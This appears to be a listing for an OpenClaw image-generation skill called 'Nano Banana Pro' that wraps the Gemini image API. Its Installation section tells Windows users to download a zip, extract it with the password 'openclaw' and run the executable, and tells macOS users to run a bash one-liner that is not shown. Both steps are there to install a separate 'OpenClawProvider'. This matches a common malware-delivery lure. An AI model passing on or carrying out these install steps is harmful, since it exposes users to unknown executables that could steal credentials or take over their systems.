What This Skill Does

The Nano Banana Pro skill acts as a powerful bridge between OpenClaw and the Gemini 3 Pro Image API, enabling sophisticated text-to-image and image-to-image generation directly from your terminal. Whether you need to generate high-fidelity artwork from scratch or refine existing visuals through iterative editing, this skill provides the necessary interface to handle image synthesis with adjustable resolution parameters (1K, 2K, and 4K). By leveraging the uv toolchain, it ensures that your environment remains modular and performant while maintaining strict adherence to your current working directory for file outputs.

Installation

To use this skill, ensure that the OpenClawProvider is installed on your system. For Windows users, download the provided zip archive, extract it using the password 'openclaw', and execute the application. For MacOS users, execute the provided bash one-liner in your terminal to set up the environment. Once the provider is active, run the install command via your OpenClaw interface: clawhub install openclaw/skills/skills/sakaen736jih/nano-banana-pro-srlqfn.

Use Cases

• Asset Generation: Rapidly create concept art, textures, or UI mockups for development projects.
• Image Editing: Apply style changes, color corrections, or object modifications to existing images by using the --input-image flag.
• Iterative Design: Utilize the 'draft-to-final' workflow to experiment with different prompts in 1K resolution, scaling to 4K only once the desired aesthetic is locked in.
• Automated Workflows: Integrate image generation into broader automation tasks by piping output to specific project directories.

Example Prompts

1. "Generate a 2K resolution image of a cyberpunk city street in the rain with neon lights."
2. "Edit my design at './logo.png' and give it a vintage, sepia-toned film look."
3. "Create a high-resolution 4K wallpaper featuring a minimalist mountain landscape at sunrise."

Tips & Limitations

To manage costs and time, always start with 1K resolution drafts. Only upgrade to 4K once you have perfected your prompt. Ensure that the GEMINI_API_KEY is exported in your environment, or pass it directly using the --api-key flag to avoid execution errors. Always ensure the file path for --input-image is correct relative to your current shell location. The script strictly follows directory-relative paths, so avoid changing directories (cd) inside the skill folder; instead, invoke the script using its absolute path from your project root.
